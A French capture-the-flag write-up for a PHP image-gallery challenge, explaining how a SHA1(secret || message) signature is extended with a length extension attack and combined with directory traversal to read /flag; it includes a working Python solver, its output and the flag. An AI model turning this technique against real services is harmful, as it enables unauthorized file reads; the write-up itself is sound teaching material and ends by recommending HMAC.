Énoncé #
Woof woof
http://chal.competitivecyber.club:7777
Author: Dylan (elbee3779)
Aperçu #
Le challenge fournit une petite galerie d’images et les fichiers suivants :
.
├── assets
│ ├── BAD.gif
│ ├── script.js
│ └── style.css
├── index.php
├── pupper
│ ├── 1.png
│ ├── 2.png
│ ├── 3.png
│ ├── 4.png
│ ├── 5.png
│ ├── 6.png
│ ├── 7.png
│ └── 8.png
└── view.php
2 directories, 13 filesCliquer sur une image ouvre /view.php avec deux paramètres : pic, tiré de
l’attribut rel, et hash, tiré de media.
<a href="#" media="06dadc9db741e1c2a91f266203f01b9224b5facf" rel="1.png">
<img src="pupper/1.png" alt="">
</a>Le contrôle décisif se trouve dans view.php :
<?php
$pic = $_GET['pic'];
$hash = $_GET['hash'];
if(sha1("TEST SECRET1".$pic)==$hash){
$imgdata = base64_encode(file_get_contents("pupper/".str_replace("\0","",$pic)));
echo "<!DOCTYPE html>";
echo "<html><body><h1>Here's your picture:</h1>";
echo "<img src='data:image/png;base64,".$imgdata."'>";
echo "</body></html>";
}else{
echo "<!DOCTYPE html><html><body>";
echo "<h1>Invalid hash provided!</h1>";
echo '<img src="assets/BAD.gif"/>';
echo "</body></html>";
}
// The flag is at /flag, that's all you're getting!
?>
pic contrôle le chemin transmis à file_get_contents(), tandis que hash
doit être égal à SHA1(secret || pic). Une traversée de répertoires seule ne
suffit donc pas : le serveur refuse tout nom de fichier dont on ne connaît pas
la signature.
La comparaison non stricte (==) évoque d’abord le type juggling de PHP.
Cette piste exigerait toutefois un hash SHA1 de la forme 0e... pour une entrée
qui mène aussi à /flag, ce qui n’est pas réaliste ici. La construction
SHA1(secret || message) offre une piste bien plus directe.
Résolution #
SHA1 #
SHA1 repose sur la construction de Merkle-Damgård, comme MD5 et certaines variantes de SHA2. Le schéma suivant en résume le fonctionnement :

SHA1 complète le message avec l’octet 0x80, des octets nuls, puis sa longueur
en bits encodée sur 8 octets. Le résultat est découpé en blocs de 64 octets.
Chaque bloc met à jour un état interne, initialisé avec les constantes h0 à
h4. L’empreinte finale expose précisément cet état après le dernier bloc.
Étendre un message signé #
Cette propriété permet une length extension attack. À partir de
SHA1(secret || message), il est possible de calculer la signature de :
secret || message || padding || extension
Le secret reste inconnu, mais l’empreinte connue de secret || message fournit
l’état interne nécessaire pour poursuivre le calcul. Seule la longueur du
secret doit être devinée afin de reconstituer le bon padding.

Dans view.php, la valeur signée et le chemin lu sont tous deux issus de
pic :
$pic = $_GET['pic'];
$hash = $_GET['hash'];
if(sha1("TEST SECRET1".$pic)==$hash){
$imgdata = base64_encode(file_get_contents("pupper/".str_replace("\0","",$pic)));
echo "<!DOCTYPE html>";
echo "<html><body><h1>Here's your picture:</h1>";
echo "<img src='data:image/png;base64,".$imgdata."'>";
echo "</body></html>";
}On possède déjà la signature valide de 1.png :
06dadc9db741e1c2a91f266203f01b9224b5facf. Elle permet de prolonger le
message avec /../../../../../flag et de produire le hash correspondant, sans
connaître le secret. Le str_replace("\0", "", $pic) retire les octets nuls
du padding, mais conserve l’octet 0x80 et les octets qui encodent la longueur.
Ils restent donc accolés à 1.png dans un même composant du chemin. Le premier
/.. annule ce composant 1.png + padding ; les suivants remontent depuis le
répertoire pupper/ jusqu’à permettre l’accès à /flag.
Exploitation #
La bibliothèque hlextend construit le message étendu et reprend le calcul de SHA1 depuis l’empreinte connue. La boucle teste plusieurs longueurs de secret ; dès que l’hypothèse est correcte, le serveur accepte le nouveau hash.
import requests
import hlextend
for i in range(1, 30):
sha = hlextend.new('sha1')
pic = sha.extend(b'/../../../../../flag', b'1.png', i, '06dadc9db741e1c2a91f266203f01b9224b5facf')
hash = sha.hexdigest()
url = f'http://chal.competitivecyber.club:7777/view.php?pic={requests.utils.quote(pic)}&hash={hash}'
r = requests.get(url)
if 'Invalid hash provided!' not in r.text:
print(r.text)
breakLa réponse valide contient l’image encodée en Base64. Ici, ce contenu est
directement celui du fichier /flag :
$ python3 solver.py
<!DOCTYPE html><html><body><h1>Here's your picture:</h1><img src='data:image/png;base64,cGN0ZnszeHQzbmRfbXlfdGg0bms1X2U5YjVmNmFhMDd9Cg=='></body></html>
$ echo "cGN0ZnszeHQzbmRfbXlfdGg0bms1X2U5YjVmNmFhMDd9Cg=="|base64 -d
pctf{3xt3nd_my_th4nk5_e9b5f6aa07}Flag: pctf{3xt3nd_my_th4nk5_e9b5f6aa07}
Conclusion #
Le contrôle d’intégrité paraît empêcher de modifier pic, mais
SHA1(secret || message) n’est pas un MAC sûr. L’empreinte d’une image
légitime suffit à signer une extension du message ; la traversée de répertoires
ajoutée à cette extension permet alors de lire le flag. Un HMAC, par exemple
HMAC-SHA256, empêcherait cette attaque.